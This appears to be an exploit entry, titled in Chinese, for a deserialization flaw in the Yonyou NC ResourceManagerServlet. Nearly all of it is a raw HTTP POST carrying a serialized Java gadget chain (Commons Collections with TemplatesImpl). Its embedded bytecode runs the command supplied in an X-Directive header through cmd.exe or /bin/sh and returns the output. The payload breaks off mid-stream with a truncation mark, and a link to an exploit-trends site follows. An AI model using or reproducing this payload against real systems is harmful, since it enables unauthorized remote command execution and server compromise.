用友NC ResourceManagerServlet 接口存在反序列化漏洞

POST /servlet/~ic/uap.framework.rc.controller.ResourceManagerServlet HTTP/1.1
Host: 
Accept-Encoding: gzip
Connection: keep-alive
Content-Length: 5389
Content-Type: application/octet-stream
X-Directive: echo 111111

��sr2sun.reflect.annotation.AnnotationInvocationHandlerU���~�LmemberValuestLjava/util/Map;LtypetLjava/lang/Class;xps}

java.util.Mapxrjava.lang.reflect.Proxy�'� �C�
L
ht%Ljava/lang/reflect/InvocationHandler;xpsq~sr*org.apache.commons.collections.map.LazyMapn唂�y�
Lfactoryt,Lorg/apache/commons/collections/Transformer;xpsr:org.apache.commons.collections.functors.ChainedTransformer0Ǘ�(z�
[
iTransformerst-[Lorg/apache/commons/collections/Transformer;xpur-[Lorg.apache.commons.collections.Transformer;�V*��4�xpsr;org.apache.commons.collections.functors.ConstantTransformerXv�A��
L	iConstanttLjava/lang/Object;xpvr&org.apache.xalan.xsltc.trax.TrAXFilterxpsr>org.apache.commons.collections.functors.InstantiateTransformer4�����;[iArgst[Ljava/lang/Object;[iParamTypest[Ljava/lang/Class;xpur[Ljava.lang.Object;��X�s)lxp
sr)org.apache.xalan.xsltc.trax.TemplatesImpl	WO�n��3I
_indentNumberI_transletIndexL_auxClassest*Lorg/apache/xalan/xsltc/runtime/Hashtable;[
_bytecodest[[B[_classq~L_nametLjava/lang/String;L_outputPropertiestLjava/util/Properties;xp����pur[[BK�gg�7xp
ur[B���T�xp]����2�
TnT1030409776613934

java/lang/Object

SourceFile
TnT1030409776613934.java
	writeBody
(Ljava/lang/Object;[B)V
$org.apache.tomcat.util.buf.ByteChunk	
java/lang/Class
forName
%(Ljava/lang/String;)Ljava/lang/Class;


newInstance
()Ljava/lang/Object;

setBytes
[B
java/lang/Integer
TYPE
Ljava/lang/Class;	
getDeclaredMethod
@(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method; 
!
<init>
(I)V#$
%
java/lang/reflect/Method'
invoke
9(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;)*
(+
getClass
()Ljava/lang/Class;-.
/
doWrite1
	getMethod3 
4
java/lang/NoSuchMethodException6
java.nio.ByteBuffer8
wrap:
Code

Exceptions
java/lang/Exception>

StackMapTable
getFV
8(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
getDeclaredField
-(Ljava/lang/String;)Ljava/lang/reflect/Field;CD
E
java/lang/NoSuchFieldExceptionG

getSuperclassI.
J
(Ljava/lang/String;)V#L
HM
"java/lang/reflect/AccessibleObjectO

setAccessible
(Z)VQR
PS
java/lang/reflect/FieldU
get
&(Ljava/lang/Object;)Ljava/lang/Object;WX
VY
()V#[
\
java/lang/Thread^

currentThread
()Ljava/lang/Thread;`a
_b
getThreadGroup
()Ljava/lang/ThreadGroup;de
_f
threadshAB
j
[Ljava/lang/Thread;l
getName
()Ljava/lang/String;no
_p
execr
java/lang/Stringt
contains
(Ljava/lang/CharSequence;)Zvw
ux
httpz
target|
java/lang/Runnable~
this$0�
handler�
global�

processors�
java/util/List�
size
()I����
(I)Ljava/lang/Object;W���
req�
getResponse�
	getHeader�
X-Test�
isEmpty
()Z��
u�
	setStatus�
	addHeader�
X-Directive�
os.name�
java/lang/System�
getProperty
&(Ljava/lang/String;)Ljava/lang/String;��
��
toLowerCase�o
u�
window�
cmd.exe�
/c�
/bin/sh�
-c�
java/util/Scanner�
java/lang/ProcessBuilder�
([Ljava/lang/String;)V#�
��
start
()Ljava/lang/Process;��
��
java/lang/Process�
getInputStream
()Ljava/io/InputStream;��
��
(Ljava/io/InputStream;)V#�
��
\A�
useDelimiter
'(Ljava/lang/String;)Ljava/util/Scanner;��
��
next�o
��
getBytes
()[B��
u�
�
showpath�
getContextClassLoader
()Ljava/lang/ClassLoader;��
_�
�
java/lang/ClassLoader�
getResource
"(Ljava/lang/String;)Ljava/net/URL;��
��
java/net/URL�
getPath�o
��
[Ljava/lang/String;�
/org/apache/xalan/xsltc/runtime/AbstractTranslet�
�\!�
<��
�N-�M-�YSY�SY�S�",�Y+SY�Y�&SY�Y+��&S�,W*�02�Y-S�5*�Y,S�,W�H:9�N-;�YS�"-�Y+S�,M*�02�Y-S�5*�Y,S�,W��
hk7
@�k7�D=
?
AB<l?
M*�0N�-+�FM��:-�KN�-���,
��HY+�N�,�T,*�Z�

H
@�
VBH	
=
?
#[<6	
�*��<�c�gi�k�mM>,���,2:
�{�q:s�y�
{�y��]}�k:��L��k��k��k:�:�1���k��:6		��
�	��:

��k:�0���5��,:�0��Y...[已截断]

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.